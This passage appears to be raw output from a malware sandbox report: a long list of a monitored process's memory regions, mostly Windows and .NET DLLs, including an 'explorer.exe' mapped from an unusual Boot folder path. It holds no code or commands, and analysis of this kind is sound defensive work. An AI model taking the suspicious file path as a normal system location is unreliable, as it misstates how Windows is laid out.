"\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4415 start_va = 0x180000 end_va = 0x186fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 4416 start_va = 0x7ffa7b220000 end_va = 0x7ffa7b271fff monitored = 0 entry_point = 0x7ffa7b22f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4417 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4418 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 4419 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4420 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4421 start_va = 0x1b0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1b12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4422 start_va = 0x9b0000 end_va = 0xb37fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009b0000" filename = "" Region: id = 4423 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4424 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 4425 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4426 start_va = 0xb40000 end_va = 0xcc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b40000" filename = "" Region: id = 4427 start_va = 0xcd0000 end_va = 0x20cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cd0000" filename = "" Region: id = 4428 start_va = 0x20d0000 end_va = 0x22c2fff monitored = 1 entry_point = 0x22c131e region_type = mapped_file name = "explorer.exe" filename = "\\Boot\\zh-TW\\explorer.exe" (normalized: "c:\\boot\\zh-tw\\explorer.exe") Region: id = 4429 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 4430 start_va = 0x7ffa76d30000 end_va = 0x7ffa76d39fff monitored = 0 entry_point = 0x7ffa76d31350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4431 start_va = 0x7ffa5e8d0000 end_va = 0x7ffa5f2b5fff monitored = 1 entry_point = 0x7ffa5e8d5b60 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4432 start_va = 0x7ffa623c0000 end_va = 0x7ffa624b6fff monitored = 0 entry_point = 0x7ffa623e4d80 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\System32\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll") Region: id = 4433 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 4434 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 4435 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 4436 start_va = 0x7ff9ff1c0000 end_va = 0x7ff9ff1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1c0000" filename = "" Region: id = 4437 start_va = 0x7ff9ff1d0000 end_va = 0x7ff9ff1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1d0000" filename = "" Region: id = 4438 start_va = 0x7ff9ff1e0000 end_va = 0x7ff9ff26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1e0000" filename = "" Region: id = 4439 start_va = 0x7ff9ff270000 end_va = 0x7ff9ff2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff270000" filename = "" Region: id = 4440 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 4441 start_va = 0x430000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4442 start_va = 0x410000 end_va = 0x410fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 4443 start_va = 0x20d0000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 4444 start_va = 0x2280000 end_va = 0x242ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 4445 start_va = 0x20d0000 end_va = 0x21cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 4446 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 4447 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 4448 start_va = 0x2430000 end_va = 0x1a42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002430000" filename = "" Region: id = 4449 start_va = 0x1a430000 end_va = 0x1a79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a430000" filename = "" Region: id = 4450 start_va = 0x2280000 end_va = 0x2389fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 4451 start_va = 0x2420000 end_va = 0x242ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 4452 start_va = 0x1a7a0000 end_va = 0x1a89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7a0000" filename = "" Region: id = 4453 start_va = 0x1a8a0000 end_va = 0x1abd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4454 start_va = 0x7ffa5d3e0000 end_va = 0x7ffa5e8c7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll") Region: id = 4455 start_va = 0x7ffa7b290000 end_va = 0x7ffa7b3d2fff monitored = 0 entry_point = 0x7ffa7b2b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4456 start_va = 0x5f0000 end_va = 0x6affff monitored = 0 entry_point = 0x610da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4457 start_va = 0x1abe0000 end_va = 0x1acbcfff monitored = 0 entry_point = 0x1ac3e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4458 start_va = 0x7ffa76e20000 end_va = 0x7ffa76eb5fff monitored = 0 entry_point = 0x7ffa76e45570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4459 start_va = 0x1abe0000 end_va = 0x1adbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4461 start_va = 0x7ff5fef70000 end_va = 0x7ff5ff00ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5fef70000" filename = "" Region: id = 4462 start_va = 0x7ff5fef60000 end_va = 0x7ff5fef6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5fef60000" filename = "" Region: id = 4463 start_va = 0x7ff9ff2e0000 end_va = 0x7ff9ff2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2e0000" filename = "" Region: id = 4464 start_va = 0x7ff9ff2f0000 end_va = 0x7ff9ff2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2f0000" filename = "" Region: id = 4465 start_va = 0x7ff9ff300000 end_va = 0x7ff9ff33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff300000" filename = "" Region: id = 4466 start_va = 0x7ffa621f0000 end_va = 0x7ffa622fdfff monitored = 1 entry_point = 0x7ffa621f1080 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 4467 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4468 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 4470 start_va = 0x7ffa5c790000 end_va = 0x7ffa5d3d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\60b77585c8aa9cfd1b30a64092c81041\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\60b77585c8aa9cfd1b30a64092c81041\\system.ni.dll") Region: id = 4471 start_va = 0x7ffa5be00000 end_va = 0x7ffa5c781fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\d1da4b8a843ec63bb8be25f8202bedc1\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\d1da4b8a843ec63bb8be25f8202bedc1\\system.core.ni.dll") Region: id = 4483 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 4484 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 4485 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 4486 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 4487 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 4488 start_va = 0x600000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 4489 start_va = 0x1abe0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4490 start_va = 0x1adb0000 end_va = 0x1adbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adb0000" filename = "" Region: id = 4491 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 4492 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 4493 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 4494 start_va = 0x600000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 4495 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 4496 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 4497 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 4498 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 4499 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 4500 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 4501 start_va = 0x5f0000 end_va = 0x5f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 4502 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4503 start_va = 0x600000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 4504 start_va = 0x1abe0000 end_va = 0x1acbcfff monitored = 0 entry_point = 0x1ac3e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4505 start_va = 0x1ace0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 4506 start_va = 0x1abe0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4507 start_va = 0x1adc0000 end_va = 0x1aebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adc0000" filename = "" Region: id = 4508 start_va = 0x1aec0000 end_va = 0x1afbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 4509 start_va = 0x610000 end_va = 0x63dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 4510 start_va = 0x640000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 4511 start_va = 0x1afc0000 end_va = 0x1b0bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afc0000" filename = "" Region: id = 4512 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4513 start_va = 0x7ffa5bc10000 end_va = 0x7ffa5bdfafff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\43de4a177616225e9b6262468e1c3b53\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\43de4a177616225e9b6262468e1c3b53\\system.drawing.ni.dll") Region: id = 4514 start_va = 0x7ffa5ad10000 end_va = 0x7ffa5bc00fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\37004ddc6f466d807c52ca3b7f9f9827\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\37004ddc6f466d807c52ca3b7f9f9827\\system.windows.forms.ni.dll") Region: id = 4515 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4516 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4517 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4518 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4519 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4520 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4521 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4522 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4523 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 4524 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 4525 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 4526 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 4527 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 4528 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 4529 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 4530 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 4531 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 4532 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 4533 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 4534 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 4535 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 4536 start_va = 0x23f0000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 4537 start_va = 0x2400000 end_va = 0x240ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 4538 start_va = 0x2410000 end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 4539 start_va = 0x1acf0000 end_va = 0x1acfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acf0000" filename = "" Region: id = 4540 start_va = 0x1ad00000 end_va = 0x1ad0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad00000" filename = "" Region: id = 4541 start_va = 0x1ad10000 end_va = 0x1ad1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad10000" filename = "" Region: id = 4542 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 4543 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 4544 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4545 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 4546 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 4547 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 4548 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 4549 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4550 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4551 start_va = 0x1b0c0000 end_va = 0x1b0cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0c0000" filename = "" Region: id = 4552 start_va = 0x1b0d0000 end_va = 0x1b0dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0d0000" filename = "" Region: id = 4553 start_va = 0x1b0e0000 end_va = 0x1b0effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0e0000" filename = "" Region: id = 4554 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 4555 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 4556 start_va = 0x1b110000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 4557 start_va = 0x1b130000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 4558 start_va = 0x1b150000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b150000" filename = "" Region: id = 4559 start_va = 0x1b180000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 4560 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 4561 start_va = 0x1b1c0000 end_va = 0x1b1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 4562 start_va = 0x1b1d0000 end_va = 0x1b1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1d0000" filename = "" Region: id = 4563 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 4564 start_va = 0x1b1f0000 end_va = 0x1b1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1f0000" filename = "" Region: id = 4565 start_va = 0x1b200000 end_va = 0x1b20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b200000" filename = "" Region: id = 4566 start_va = 0x1b210000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 4567 start_va = 0x1b220000 end_va = 0x1b22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b220000" filename = "" Region: id = 4568 start_va = 0x1b230000 end_va = 0x1b23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b230000" filename = "" Region: id = 4569 start_va = 0x1b240000 end_va = 0x1b24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b240000" filename = "" Region: id = 4570 start_va = 0x1b250000 end_va = 0x1b25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b250000" filename = "" Region: id = 4571 start_va = 0x1b260000 end_va = 0x1b26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b260000" filename = "" Region: id = 4572 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 4573 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 4574 start_va = 0x1b290000 end_va = 0x1b29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b290000" filename = "" Region: id = 4575 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 4576 start_va = 0x1b2b0000 end_va = 0x1b2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2b0000" filename = "" Region: id = 4577 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4578 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4579 start_va = 0x1b0c0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0c0000" filename = "" Region: id = 4580 start_va = 0x7ff9ff340000 end_va = 0x7ff9ff34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff340000" filename = "" Region: id = 4581 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4582 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4583 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4584 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4585 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4586 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4587 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4588 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4589 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4590 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4591 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4592 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4593 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4594 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4595 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4596 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4597 start_va = 0x680000 end_va = 